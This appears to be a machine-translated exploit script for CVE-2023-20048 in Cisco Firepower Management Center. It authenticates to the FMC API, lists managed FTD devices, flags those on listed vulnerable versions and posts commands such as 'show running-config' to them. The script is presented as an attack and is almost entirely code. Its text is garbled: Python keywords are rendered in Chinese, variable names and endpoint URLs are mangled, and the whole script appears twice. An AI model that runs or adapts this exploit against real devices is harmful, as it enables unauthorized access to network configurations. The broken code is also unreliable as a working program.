#利用标题: [思科火力管理中心]
#Google Dork: [non]
#日期: [12/06/2023]
#漏洞作者: [abdualhadi khalifa](https://twitter.com/absholi_ly)
#版本: [6.2.3.18','6.4.0.16','6.6.7.1]
#CVE : [CVE-2023-20048]
导入请求
进口JSON
#设置FMC Web服务接口的URL,用户名和密码的变量
fmc_url='https://fmc.example.com'
fmc_user='admin'
fmc_pass='cisco123'
#创建一个请求会话来处理cookie和证书验证
session=requests.session()
session.verify=false
#将发布请求发送到/api/fmc_platform/v1/auth/generateToken端点以获取访问令牌和刷新令牌
token_url=fmc_url +'/api/fmc_platform/v1/auth/generateToken'
响应=session.post(token_url,auth=(fmc_user,fmc_pass))
#检查响应状态并从响应标题中提取访问令牌和刷新令牌
#将访问令牌设置为后续请求的授权标题
TRY:
if antsphy.status_code==200:
access_token=wendesp.headers ['x-auth-access-token']
refresh_token=wendesp.headers ['x-auth-refresh-token']
session.headers ['授权']=access_token
其他:
打印('无法获取令牌,状态代码:' + str(response.status_code))
出口()
除异常外,E:
打印(E)
出口()
#设置域ID的变量
#将其更改为您的域ID
domain_id='e276abec-e0f2-11e3-8169-6d9ed49b625f'
#将GET请求发送到/api/fmc_config/v1/domain/{domain_uuid}/devices/deveices/deviceRecords端点以获取由FMC管理的设备列表
deveices_url=fmc_url +'/api/fmc_config/v1/domain/' + domain_id +'/device +'/deveices/devicerecords'
响应=session.get(devices_url)
#检查响应状态并将数据提取为JSON对象
TRY:
if antsphy.status_code==200:
data=reverse.json()
其他:
打印('无法获取设备,状态代码:' + str(wendys.status_code))
出口()
除异常外,E:
打印(E)
出口()
#解析数据以获取设备名称和URL的列表
设备=[]
对于数据['项目']中的项目:
device_name=item ['name']
device_url=item ['links'] ['self']
设备append((device_name,device_url))
#循环浏览设备列表,然后将GET请求发送到每个设备的URL以获取设备详细信息
用于设备中的设备:
device_name,device_url=设备
响应=session.get(device_url)
#检查响应状态并将数据提取为JSON对象
TRY:
if antsphy.status_code==200:
data=reverse.json()
其他:
打印('无法获取设备详细信息,状态代码:' + str(wendys.status_code))
继续
除异常外,E:
打印(E)
继续
#解析数据以获取设备类型,软件版本和配置URL
device_type=data ['type']
device_version=data ['metadata'] ['SoftwareVersion']
config_url=data ['metadata'] ['configurl']
#检查设备类型是否为FTD,并且软件版本容易受到CVE-2023-20048漏洞的影响
#在安全建议中使用受影响产品部分的值
如果device_type=='ftd'和device_version在['6.2.3.18','6.4.0.16','6.6.7.1'] :
print('设备' + device_name +'容易受到CVE-2023-20048'的攻击)
#创建要在设备上执行的命令列表
commands=['show版本','show running-config','show Interfaces']
device_id=device_url.split('/')[ - 1]
#循环浏览命令列表,然后将发布请求发送到/api/fmc_config/v1/domain/{domain_uuid}/deveices/devicerecords/{device_id}/operational/commandational/commandity/command/{command/{command} endpoint endpoint上的每个命令,以在设备上执行每个命令
#用域ID,{device_id}替换{domain_uiid}用您要执行的命令,{命令}和{command}
用于命令中的命令:
command_url=fmc_url +'/api/fmc_config/v1/domain/' + domain_id +'/devices/deveicers/deviceRecords/' + device_id +'/operational/commanditation/commanditation/command/' + command
响应=session.post(command_url)
#检查响应状态并将数据提取为JSON对象
TRY:
if antsphy.status_code==200:
data=reverse.json()
其他:
print('无法执行命令,状态代码:' + str(wendys.status_code))
继续
除异常外,E:
打印(E)
继续
#解析数据以获取命令执行的结果并打印
结果=数据['结果']
打印('command:' +命令)
打印('Result:' +结果)
其他:
print('设备' + device_name +'不容易受到CVE-2023-20048'的影响)
#Google Dork: [non]
#日期: [12/06/2023]
#漏洞作者: [abdualhadi khalifa](https://twitter.com/absholi_ly)
#版本: [6.2.3.18','6.4.0.16','6.6.7.1]
#CVE : [CVE-2023-20048]
导入请求
进口JSON
#设置FMC Web服务接口的URL,用户名和密码的变量
fmc_url='https://fmc.example.com'
fmc_user='admin'
fmc_pass='cisco123'
#创建一个请求会话来处理cookie和证书验证
session=requests.session()
session.verify=false
#将发布请求发送到/api/fmc_platform/v1/auth/generateToken端点以获取访问令牌和刷新令牌
token_url=fmc_url +'/api/fmc_platform/v1/auth/generateToken'
响应=session.post(token_url,auth=(fmc_user,fmc_pass))
#检查响应状态并从响应标题中提取访问令牌和刷新令牌
#将访问令牌设置为后续请求的授权标题
TRY:
if antsphy.status_code==200:
access_token=wendesp.headers ['x-auth-access-token']
refresh_token=wendesp.headers ['x-auth-refresh-token']
session.headers ['授权']=access_token
其他:
打印('无法获取令牌,状态代码:' + str(response.status_code))
出口()
除异常外,E:
打印(E)
出口()
#设置域ID的变量
#将其更改为您的域ID
domain_id='e276abec-e0f2-11e3-8169-6d9ed49b625f'
#将GET请求发送到/api/fmc_config/v1/domain/{domain_uuid}/devices/deveices/deviceRecords端点以获取由FMC管理的设备列表
deveices_url=fmc_url +'/api/fmc_config/v1/domain/' + domain_id +'/device +'/deveices/devicerecords'
响应=session.get(devices_url)
#检查响应状态并将数据提取为JSON对象
TRY:
if antsphy.status_code==200:
data=reverse.json()
其他:
打印('无法获取设备,状态代码:' + str(wendys.status_code))
出口()
除异常外,E:
打印(E)
出口()
#解析数据以获取设备名称和URL的列表
设备=[]
对于数据['项目']中的项目:
device_name=item ['name']
device_url=item ['links'] ['self']
设备append((device_name,device_url))
#循环浏览设备列表,然后将GET请求发送到每个设备的URL以获取设备详细信息
用于设备中的设备:
device_name,device_url=设备
响应=session.get(device_url)
#检查响应状态并将数据提取为JSON对象
TRY:
if antsphy.status_code==200:
data=reverse.json()
其他:
打印('无法获取设备详细信息,状态代码:' + str(wendys.status_code))
继续
除异常外,E:
打印(E)
继续
#解析数据以获取设备类型,软件版本和配置URL
device_type=data ['type']
device_version=data ['metadata'] ['SoftwareVersion']
config_url=data ['metadata'] ['configurl']
#检查设备类型是否为FTD,并且软件版本容易受到CVE-2023-20048漏洞的影响
#在安全建议中使用受影响产品部分的值
如果device_type=='ftd'和device_version在['6.2.3.18','6.4.0.16','6.6.7.1'] :
print('设备' + device_name +'容易受到CVE-2023-20048'的攻击)
#创建要在设备上执行的命令列表
commands=['show版本','show running-config','show Interfaces']
device_id=device_url.split('/')[ - 1]
#循环浏览命令列表,然后将发布请求发送到/api/fmc_config/v1/domain/{domain_uuid}/deveices/devicerecords/{device_id}/operational/commandational/commandity/command/{command/{command} endpoint endpoint上的每个命令,以在设备上执行每个命令
#用域ID,{device_id}替换{domain_uiid}用您要执行的命令,{命令}和{command}
用于命令中的命令:
command_url=fmc_url +'/api/fmc_config/v1/domain/' + domain_id +'/devices/deveicers/deviceRecords/' + device_id +'/operational/commanditation/commanditation/command/' + command
响应=session.post(command_url)
#检查响应状态并将数据提取为JSON对象
TRY:
if antsphy.status_code==200:
data=reverse.json()
其他:
print('无法执行命令,状态代码:' + str(wendys.status_code))
继续
除异常外,E:
打印(E)
继续
#解析数据以获取命令执行的结果并打印
结果=数据['结果']
打印('command:' +命令)
打印('Result:' +结果)
其他:
print('设备' + device_name +'不容易受到CVE-2023-20048'的影响)